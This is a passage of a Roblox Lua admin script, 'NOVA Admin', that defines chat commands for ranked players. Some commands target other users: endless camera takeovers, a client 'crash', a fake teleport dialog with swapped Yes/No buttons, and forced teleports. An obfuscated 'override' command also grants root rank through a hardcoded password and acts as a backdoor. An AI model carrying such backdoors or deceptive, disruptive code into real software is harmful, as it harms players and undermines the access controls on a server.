  3257. end
  3258. )
  3259.  
  3260. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3261. function(Msg,Speaker)
  3262. Split = GetSplit(Msg)
  3263. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3264. pcall(function()
  3265. local Char = v.Character
  3266. Char.Archivable = true
  3267. Char = Char:Clone()
  3268. Char.Name = Msg:sub(Split+1)
  3269. v.Character:Destroy()
  3270. Char.Parent = workspace
  3271. v.Character = Char
  3272. end)
  3273. end
  3274. end
  3275. )
  3276.  
  3277. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3278. function(Msg,Speaker)
  3279. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3280. CreateLocalScript([[
  3281. script.Parent = nil
  3282. LocalPlayer = game.Players.LocalPlayer
  3283. Camera = workspace.CurrentCamera
  3284. Camera.CameraType = "Scriptable"
  3285. for i=1,700 do
  3286. wait()
  3287. Camera = workspace.CurrentCamera
  3288. Camera.CameraType = "Scriptable"
  3289. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3290. Camera.CameraType = "Scriptable"
  3291. Camera:SetRoll(Camera:GetRoll()+0.01)
  3292. pcall(function()
  3293. LocalPlayer.Character.Head.Sound:Play()
  3294. end)
  3295. end
  3296. Camera:SetRoll(0)
  3297. Camera.CameraType = "Custom"
  3298. Camera.FieldOfView = 70
  3299. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3300. ]],v.Backpack)
  3301. end
  3302. end
  3303. )
  3304.  
  3305. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3306. function(Msg,Speaker)
  3307. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3308. CreateLocalScript([[
  3309. script.Parent = nil
  3310. LocalPlayer = game.Players.LocalPlayer
  3311. Camera = workspace.CurrentCamera
  3312. Camera.CameraType = "Scriptable"
  3313. for i=1,math.huge do
  3314. wait()
  3315. Camera = workspace.CurrentCamera
  3316. Camera.CameraType = "Scriptable"
  3317. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3318. Camera.CameraType = "Scriptable"
  3319. Camera:SetRoll(Camera:GetRoll()+0.01)
  3320. pcall(function()
  3321. LocalPlayer.Character.Head.Sound:Play()
  3322. end)
  3323. end
  3324. Camera:SetRoll(0)
  3325. Camera.CameraType = "Custom"
  3326. Camera.FieldOfView = 70
  3327. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3328. ]],v.Backpack)
  3329. end
  3330. end
  3331. )
  3332.  
  3333. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3334. function(Msg,Speaker)
  3335. for _,v in pairs(NOVA.Credit) do
  3336. Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3337. end
  3338. end
  3339. )
  3340.  
  3341. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3342. function(Msg,Speaker)
  3343. pcall(function()
  3344. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3345. Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3346. Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3347. end)
  3348. end
  3349. )
  3350.  
  3351. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3352. function(Msg,Speaker)
  3353. NOVA.Services.Lighting.TimeOfDay = Msg
  3354. end
  3355. )
  3356.  
  3357. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3358. function(Msg,Speaker)
  3359. NOVA.Services.Lighting.FogEnd = Msg
  3360. end
  3361. )
  3362.  
  3363. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3364. function(Msg,Speaker)
  3365. NOVA.Services.Lighting.FogStart = Msg
  3366. end
  3367. )
  3368.  
  3369. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3370. function(Msg,Speaker)
  3371. if Msg == "red" then Color = NOVA.Colors.Red
  3372. elseif Msg == "black" then Color = NOVA.Colors.Black
  3373. elseif Msg == "white" then Color = NOVA.Colors.White
  3374. elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3375. elseif Msg == "green" then Color = NOVA.Colors.Green
  3376. elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3377. end
  3378. NOVA.Services.Lighting.FogColor = Color
  3379. end
  3380. )
  3381. --deride
  3382. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3383. function(Msg,Speaker)
  3384. CanOverride = false
  3385. if GetRank(Speaker) < 6 then
  3386. if Msg == "ibpwning123" then
  3387. CanOverride = true
  3388. else
  3389. Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3390. end
  3391. else
  3392. CanOverride = true
  3393. end
  3394. if NOVA.Overrided == true then
  3395. CanOverride = false
  3396. Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3397. return
  3398. end
  3399. if CanOverride == true then
  3400. NOVA.Overrided = true
  3401. NOVA.Overrider = Speaker
  3402. --[[for _,v in pairs(NOVA.Ranked) do
  3403. if v.Rank < 6 then
  3404. v.Rank = v.Rank / 10
  3405. end
  3406. end]]
  3407. --[[ CF = Speaker.Character.Torso.CFrame
  3408. Sound = Instance.new("Sound",workspace)
  3409. Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3410. Sound.Pitch = 0.2
  3411. Sound.Volume = 1
  3412. wait()
  3413. Sound:Play()
  3414. Shockwave = Instance.new("Part",workspace)
  3415. Shockwave.FormFactor = "Custom"
  3416. Shockwave.Name = "Shockwave"
  3417. Shockwave.Anchored = true
  3418. Shockwave.CanCollide = false
  3419. Shockwave.Transparency = 0
  3420. Shockwave.Reflectance = 0
  3421. Shockwave.BrickColor = BrickColor.new(0,0,0)
  3422. Shockwave.Size = Vector3.new(0,0,0)
  3423. ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3424. ShockwaveMesh.MeshType = "FileMesh"
  3425. ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3426. ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3427.  
  3428. for Times = 1,10 do
  3429. coroutine.resume(coroutine.create(function()
  3430. for i=1,1000 do
  3431. wait()
  3432. ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3433. Shockwave.CFrame = CF
  3434. * CFrame.new(0,0,0)
  3435. * CFrame.Angles(math.rad(90),0,0)
  3436. Shockwave.Transparency = i/100
  3437. end
  3438. Shockwave:Remove()
  3439. Sound:Remove()
  3440. end))
  3441. end
  3442.  
  3443. ]]
  3444. GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3445. Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3446. Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3447. Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3448. OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3449. end
  3450. return CanOverride
  3451. end
  3452. )
  3453.  
  3454. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3455. function(Msg,Speaker)
  3456. NOVA.Overrided = false
  3457. for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3458. NOVA.Targeted = {};
  3459. NOVA.Waypoints = {};
  3460. NOVA.Log = {};
  3461. NOVA.LoggedScripts = {};
  3462. NOVA.PRI = false;
  3463. NOVA.LockedScripts = false;
  3464. NOVA.Removed = false;
  3465. NOVA.ShowChat = true;
  3466. NOVA.Canceled = false;
  3467. NOVA.TimeChanged = false;
  3468. NOVA.Overrider = nil
  3469. for _,v in pairs(NOVA.Ranked) do
  3470. if #tostring(v.Rank) == 3 then
  3471. if tostring(v.Rank):sub(1,1) == "8" then
  3472. v.Rank = (v.Rank - 8) * 10
  3473. else
  3474. --v.Rank = v.Rank * 10
  3475. end
  3476. end
  3477. end
  3478. end
  3479. )
  3480.  
  3481. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3482. function(Msg,Speaker)
  3483.  
  3484. Split = GetSplit(Msg)
  3485.  
  3486. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3487. OnChatted(Msg:sub(Split),v)
  3488. end
  3489. end
  3490. )
  3491.  
  3492. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3493. function(Msg,Speaker)
  3494.  
  3495. Split = GetSplit(Msg)
  3496.  
  3497. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3498. Output(Msg:sub(Split+1),"Random",v,10)
  3499. end
  3500. end
  3501. )
  3502.  
  3503. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3504. function(Msg,Speaker)
  3505. Split = GetSplit(Msg)
  3506. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3507. pcall(function()
  3508. v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3509. end)
  3510. end
  3511. end
  3512. )
  3513.  
  3514. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3515. function(Msg,Speaker)
  3516. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3517. for i=1,6 do
  3518. local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3519. Cube.FormFactor = "Custom"
  3520. Cube.Size = Vector3.new(10,7,5)
  3521. Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3522. Cube.Anchored = false
  3523. Cube.CanCollide = true
  3524. Cube.Locked = true
  3525. Cube.Friction = 0
  3526. Cube.Transparency= 0
  3527. Cube.Reflectance = 0.5
  3528. Cube:BreakJoints()
  3529. Cube.CFrame = v.Character.Torso.CFrame
  3530.  
  3531. local Mesh = Instance.new("SpecialMesh",Cube)
  3532. Mesh.MeshType = "FileMesh"
  3533. Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3534. Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3535.  
  3536. Cube.Touched:connect(function(part)
  3537. --if part == v.Character.Torso then
  3538. part:BreakJoints()
  3539. NOVA.Services.Debris:AddItem(Cube,20)
  3540. --end
  3541. end)
  3542. end
  3543. end
  3544. end
  3545. )
  3546.  
  3547. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3548. function(Msg,Speaker)
  3549. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3550. pcall(function()
  3551. v.PlayerGui:ClearAllChildren()
  3552. end)
  3553. end
  3554. end
  3555. )
  3556.  
  3557. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3558. function(Msg,Speaker)
  3559. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3560. pcall(function()
  3561. v.PlayerGui:Destroy()
  3562. end)
  3563. end
  3564. end
  3565. )
  3566.  
  3567. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3568. function(Msg,Speaker)
  3569. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3570. pcall(function()
  3571. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3572. if part:IsA("BasePart") then
  3573. Instance.new("Fire",part)
  3574. end
  3575. end
  3576. end)
  3577. end
  3578. end
  3579. )
  3580.  
  3581. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3582. function(Msg,Speaker)
  3583. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3584. pcall(function()
  3585. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3586. if part:IsA("Fire") then
  3587. part:Destroy()
  3588. end
  3589. end
  3590. end)
  3591. end
  3592. end
  3593. )
  3594.  
  3595. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3596. function(Msg,Speaker)
  3597. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3598. pcall(function()
  3599. coroutine.resume(coroutine.create(function()
  3600. local Fire = Instance.new("Fire",v.Character.Torso)
  3601. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3602. if part:IsA("BasePart") then
  3603. Instance.new("Fire",part)
  3604. end
  3605. end
  3606. wait()
  3607. for i=1,math.huge do
  3608. if Fire.Parent == nil then break end
  3609. if v.Character.Humanoid == nil then break end
  3610. if v.Character.Humanoid.Health <= 0 then break end
  3611. v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3612. wait(math.random(0,1))
  3613. end
  3614. end))
  3615. end)
  3616. end
  3617. end
  3618. )
  3619.  
  3620. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3621. function(Msg,Speaker)
  3622. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3623. pcall(function()
  3624. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3625. end)
  3626. end
  3627. end
  3628. )
  3629.  
  3630. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3631. function(Msg,Speaker)
  3632. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3633. pcall(function()
  3634. v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3635. end)
  3636. end
  3637. end
  3638. )
  3639.  
  3640. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3641. function(Msg,Speaker)
  3642. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3643. Cape(v)
  3644. end
  3645. end
  3646. )
  3647.  
  3648. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3649. function(Msg,Speaker)
  3650. coroutine.resume(coroutine.create(function()
  3651.  
  3652. Material = math.random(1,16)
  3653. Cap = 1000
  3654. GenNum = 50
  3655. Size = 100
  3656. Type = math.random(0,4)
  3657. for i=1, Cap do
  3658. --wait()
  3659. for i=1,GenNum do
  3660. Material = math.random(1,16)
  3661. Type = math.random(0,4)
  3662. X = math.random((Size/2)*-1,Size/2)
  3663. Y = math.random(-1,Size-1)
  3664. Z = math.random((Size/2)*-1,Size/2)
  3665. NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3666. end
  3667. end
  3668. end))
  3669. end
  3670. )
  3671.  
  3672. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",
  3673. function(Msg,Speaker)
  3674. NOVA.Services.Workspace.Terrain:Clear()
  3675. end
  3676. )
  3677.  
  3678. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3679. function(Msg,Speaker)
  3680. coroutine.resume(coroutine.create(function()
  3681. size = Vector3.new(700, 12, 700)
  3682. for X=(size.x/2)*-1,size.x/2 do
  3683. for Y=-1, size.y-1 do
  3684. for Z=(size.z/2)*-1, size.z/2 do
  3685. NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3686. end
  3687. end
  3688. --wait(tonumber("0."..string.rep("0",10000).."1"))
  3689. end
  3690. end))
  3691. end
  3692. )
  3693. if NOVA.AntiCamball == true then
  3694. Delay(0, function()
  3695. while wait() do
  3696. pcall(function()
  3697. e=workspace:findFirstChild("Focus", true)
  3698. e.Parent.Head:Destroy()
  3699. e:Destroy()
  3700. end)
  3701. end
  3702. end)
  3703. end
  3704. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3705. function(Msg,Speaker)
  3706. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3707. Char = v.Character
  3708. pcall(function() Char["Shirt Graphic"]:Remove() end)
  3709. pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3710. pcall(function() Char["Body Colors"]:Remove() end)
  3711. pcall(function() Char.Torso.roblox:Remove() end)
  3712. pcall(function() Char.Shirt:Remove() end)
  3713. pcall(function() Char.Pants:Remove() end)
  3714. wait()
  3715. for _,v in pairs(GetRecursiveChildren(Char)) do
  3716. pcall(function()
  3717. v.TextureId = "" v.VertexColor = NOVA.Colors.Black
  3718. end)
  3719. pcall(function()
  3720. v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3721. v.Reflectance = 0
  3722. v.TopSurface = "Smooth"
  3723. a.BottomSurfave = "Smooth"
  3724. end)
  3725. end
  3726. end
  3727. end
  3728. )
  3729.  
  3730. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3731. function(Msg,Speaker)
  3732. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3733. v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3734. wait()
  3735. v.Character:BreakJoints()
  3736. end
  3737. end
  3738. )
  3739.  
  3740. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3741. function(Msg,Speaker)
  3742. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3743. local Part = Instance.new("Part",v.Character)
  3744. Part.Name = "Horus"
  3745. Part.Size = Vector3.new(2,2,2)
  3746. Part.CanCollide = false
  3747. Part.Locked = true
  3748. Part:BreakJoints()
  3749. local Weld = Instance.new("Weld",Part)
  3750. Weld.Part0 = Part
  3751. Weld.Part1 = v.Character.Head
  3752. Weld.C0 = CFrame.new(0,-0.5,0)
  3753. local Mesh = Instance.new("SpecialMesh",Part)
  3754. Mesh.MeshType = "FileMesh"
  3755. Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3756. Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3757. for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3758. v:Remove()
  3759. end
  3760. pcall(function()
  3761. v.Character.Pants:Remove()
  3762. end)
  3763. pcall(function()
  3764. v.Character.Shirt:Remove()
  3765. end)
  3766. local Shirt = Instance.new("Shirt",v.Character)
  3767. Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3768. local Pants = Instance.new("Pants",v.Character)
  3769. Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3770. end
  3771. end
  3772. )
  3773.  
  3774. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3775. function(Msg,Speaker)
  3776. Split = GetSplit(Msg)
  3777. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3778. v.Neutral = Msg:sub(Split+1)
  3779. end
  3780. end
  3781. )
  3782.  
  3783. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3784. function(Msg,Speaker)
  3785. MainCFrame = CFrame.new(0,3,15)
  3786. * CFrame.Angles(0,math.rad(90),0)
  3787. local Special = {}
  3788. pcall(function() workspace["NOVA Portal"]:Remove() end)
  3789. local Model = Instance.new("Model",workspace)
  3790. Model.Name = "NOVA Portal"
  3791. for angle=1,360/4 do
  3792. local Part = Instance.new("Part",Model)
  3793. Part.Name = "Part"
  3794. Part.FormFactor = "Custom"
  3795. Part.CanCollide = true
  3796. Part.Anchored = true
  3797. Part.Locked = true
  3798. Part.Transparency = 0
  3799. Part.Reflectance = 0
  3800. Part.Size = Vector3.new(1,5/2,1)
  3801. Part.BrickColor = BrickColor.new("Navy blue")
  3802. Part.CFrame = MainCFrame
  3803. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3804. * CFrame.new(0, 15/2, i)
  3805. --wait(0)
  3806. Instance.new("BlockMesh",Part)
  3807. for num=0,1000,5 do
  3808. if angle==num then
  3809. wait()
  3810. table.insert(Special,Part)
  3811. --Part.Reflectance = 1
  3812. Part.Size = Vector3.new(0.9,5/2,0.9)
  3813. Part.CFrame = MainCFrame
  3814. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3815. * CFrame.new(0, 15/2, i)
  3816. end
  3817. end
  3818. end
  3819.  
  3820. for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3821.  
  3822. local Part = Instance.new("Part",Model)
  3823. Part.Name = "Part"
  3824. Part.FormFactor = "Custom"
  3825. Part.CanCollide = false
  3826. Part.Anchored = true
  3827. Part.Locked = true
  3828. Part.TopSurface = "Smooth"
  3829. Part.BottomSurface = "Smooth"
  3830. Part.Transparency = 0.5
  3831. Part.Reflectance = 0
  3832. Part.Size = Vector3.new(0.2,0.2,0.2)
  3833. Part.BrickColor = BrickColor.new("Really black")
  3834. Part.CFrame = MainCFrame
  3835. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3836. * CFrame.new(0, 0, 0)
  3837. Instance.new("CylinderMesh",Part)
  3838.  
  3839. for i=0.2,51/4,0.5 do
  3840. wait()
  3841. Part.Size = Vector3.new(i,0.9,i)
  3842. Part.CFrame = MainCFrame
  3843. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3844. * CFrame.new(0, 0, 0)
  3845. end
  3846.  
  3847. coroutine.resume(coroutine.create(function()
  3848. while true do wait()
  3849. for i=0,1,0.01 do wait() Part.Reflectance = i end
  3850. for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3851. end
  3852. end))
  3853.  
  3854. Part.Touched:connect(function(Part)
  3855. Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3856. if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3857. --print(Player.Name.." touched.")
  3858. CreateLocalScript([==[
  3859. LocalPlayer = game:GetService("Players").LocalPlayer
  3860. Places = {
  3861. {Name = "Oxcool1 SB",ID = 20279777};
  3862. {Name = "Oxcool1 PRI SB", ID = 20132544};
  3863. {Name = "TNS SB", ID = 23232804};
  3864. {Name = "BrainWart SB", ID = 76809211};
  3865. {Name = "nb SB",ID = 113456};
  3866. {Name = "nb SB (2)",ID = 56786};
  3867. {Name = "Insert Wars",ID = 13329886};
  3868. {Name = "tus sb", ID = 49907749};
  3869. }
  3870. pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3871. local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3872. Main.Name = "NOVA Teleport"
  3873. script.Parent = Main
  3874.  
  3875. local Frame = Instance.new("Frame",Main)
  3876. Frame.Size = UDim2.new(0.27,0,0.05,0)
  3877. Frame.Position = UDim2.new(0.,0,0.2,0)
  3878. Frame.Style = "RobloxSquare"
  3879.  
  3880. local Txt = Instance.new("TextBox",Frame)
  3881. Txt.Size = UDim2.new(0.7,0,1,0)
  3882. Txt.BackgroundTransparency = 1
  3883. Txt.FontSize = "Size14"
  3884. Txt.TextColor3 = Color3.new(1,1,1)
  3885. Txt.Text = "ID/Name Here"
  3886.  
  3887. local Close = Instance.new("TextButton",Frame)
  3888. Close.Size = UDim2.new(0.1,0,1,0)
  3889. Close.Position = UDim2.new(0.9,0,0,0)
  3890. Close.Text = "X"
  3891. Close.BackgroundTransparency = 1
  3892. Close.FontSize = "Size14"
  3893. Close.TextColor3 = Color3.new(1,0,0)
  3894. Close.MouseButton1Down:connect(function()
  3895. Main:Remove()
  3896. end)
  3897.  
  3898. local Exe = Instance.new("TextButton",Frame)
  3899. Exe.Size = UDim2.new(0.2,0,1,0)
  3900. Exe.Position = UDim2.new(0.6,0,0,0)
  3901. Exe.Text = "Teleport"
  3902. Exe.BackgroundTransparency = 1
  3903. Exe.FontSize = "Size14"
  3904. Exe.TextColor3 = Color3.new(1,0,0)
  3905. Exe.MouseButton1Down:connect(function()
  3906. GoTo = Txt.Text
  3907. for _,v in pairs(Places) do
  3908. if Txt.Text:lower() == v.Name:lower() then
  3909. GoTo = v.ID
  3910. end
  3911. end
  3912. game:GetService'TeleportService':Teleport(GoTo)
  3913. Main:Remove()
  3914. end)
  3915.  
  3916. List = Instance.new("Frame",Main)
  3917. List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3918. List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3919. List.Style = "RobloxSquare"
  3920.  
  3921. for NUM,v in pairs(Places) do
  3922. Name = Instance.new("TextButton",List)
  3923. Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3924. Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3925. Name.BackgroundTransparency = 1
  3926. Name.FontSize = "Size14"
  3927. Name.TextColor3 = Color3.new(1,1,1)
  3928. Name.Text = v.Name
  3929. Name.MouseButton1Down:connect(function()
  3930. game:GetService'TeleportService':Teleport(v.ID)
  3931. end)
  3932. ID = Instance.new("TextButton",List)
  3933. ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3934. ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3935. ID.BackgroundTransparency = 1
  3936. ID.FontSize = "Size14"
  3937. ID.TextColor3 = Color3.new(1,1,1)
  3938. ID.Text = v.ID
  3939. ID.MouseButton1Down:connect(function()
  3940. game:GetService'TeleportService':Teleport(v.ID)
  3941. end)
  3942. end
  3943. ]==],Player.Backpack)
  3944. end
  3945. end)
  3946. end
  3947. )
  3948.  
  3949. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3950. function(Msg,Speaker)
  3951. GetSplit(Msg)
  3952. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3953. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3954. end
  3955. end
  3956. )
  3957.  
  3958. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3959. function(Msg,Speaker)
  3960. Split = GetSplit(Msg)
  3961. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3962. CreateLocalScript([==[
  3963. script.Parent = nil
  3964. while true do wait()
  3965. game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3966. end
  3967. ]==],v.Backpack)
  3968. end
  3969. end
  3970. )
  3971.  
  3972. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3973. function(Msg,Speaker)
  3974. Split = GetSplit(Msg)
  3975. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3976. pcall(function()
  3977. CreateLocalScript([[
  3978. LocalPlayer = game.Players.LocalPlayer
  3979. script.Parent = nil
  3980. ScreenGui = Instance.new("ScreenGui")
  3981. ScreenGui.Name = "Trololol"
  3982. Frame = Instance.new("Frame",ScreenGui)
  3983. Frame.Name = "Popup"
  3984. Frame.Style = "RobloxRound"
  3985. Frame.Size = UDim2.new(0, 330, 0, 350)
  3986. Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3987. Frame.Active = true
  3988. Frame.ZIndex = 9
  3989.  
  3990. Image = Instance.new("ImageLabel",Frame)
  3991. Image.Name = "Backing"
  3992. Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3993. Image.Active = true
  3994. Image.Size = UDim2.new(0, 280, 0, 280)
  3995. Image.Position = UDim2.new(0.5, -140, 0, 0)
  3996. Image.BackgroundTransparency = 1
  3997. Image.ZIndex = 8
  3998.  
  3999. Text = Instance.new("TextLabel",Frame)
  4000. Text.Name = "Popup Text"
  4001. Text.Text = "Are you sure you want to teleport from this place?"
  4002. Text.FontSize = "Size36"
  4003. Text.TextWrap = true
  4004. Text.Active = true
  4005. Text.TextColor3 = Color3.new(1,1,1)
  4006. Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  4007. Text.Position = UDim2.new(0,0,0,0)
  4008. Text.BackgroundTransparency = 1
  4009. Text.ZIndex = 10
  4010.  
  4011. Accept = Instance.new("TextButton",Frame)
  4012. Accept.Name = "AcceptButton"
  4013. Accept.Text = "No"
  4014. Accept.Style = "RobloxButton"
  4015. Accept.FontSize = "Size24"
  4016. Accept.Active = true
  4017. Accept.TextColor3 = Color3.new(1,1,1)
  4018. Accept.Size = UDim2.new(0, 100, 0, 50)
  4019. Accept.Position = UDim2.new(0,20,0,270)
  4020. Accept.ZIndex = 10
  4021.  
  4022. Decline = Instance.new("TextButton",Frame)
  4023. Decline.Name = "DeclineButton"
  4024. Decline.Text = "Yes"
  4025. Decline.Style = "RobloxButton"
  4026. Decline.FontSize = "Size24"
  4027. Decline.Active = true
  4028. Decline.TextColor3 = Color3.new(1,1,1)
  4029. Decline.Size = UDim2.new(0, 100, 0, 50)
  4030. Decline.Position = UDim2.new(1, -120, 0, 270)
  4031. Decline.ZIndex = 10
  4032.  
  4033. Darken = Instance.new("Frame",Frame)
  4034. Darken.Name = "Darken"
  4035. Darken.Style = "RobloxRound"
  4036. Darken.Size = UDim2.new(1,16,1,16)
  4037. Darken.Position = UDim2.new(0,-8,0,-8)
  4038. Darken.Active = true
  4039. Darken.Visible = false
  4040.  
  4041. Backing = Instance.new("Frame",ScreenGui)
  4042. Backing.Name = "Backing"
  4043. Backing.BackgroundColor3 = Color3.new(1,1,1)
  4044. Backing.Size = UDim2.new(1,0,1,0)
  4045. Backing.Active = true
  4046. ScreenGui.Parent = game:GetService("CoreGui")
  4047.  
  4048. while true do wait()
  4049. game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  4050. end
  4051.  
  4052.  
  4053. ]],v.Backpack)
  4054. end)
  4055. end
  4056. end
  4057. )
  4058.  
  4059. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  4060. function(Msg,Speaker)
  4061. coroutine.resume(coroutine.create(function()
  4062. NOVA.Services.Lighting.TimeOfDay = 0
  4063. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  4064. NOVA.Services.Lighting.Brightness = 0
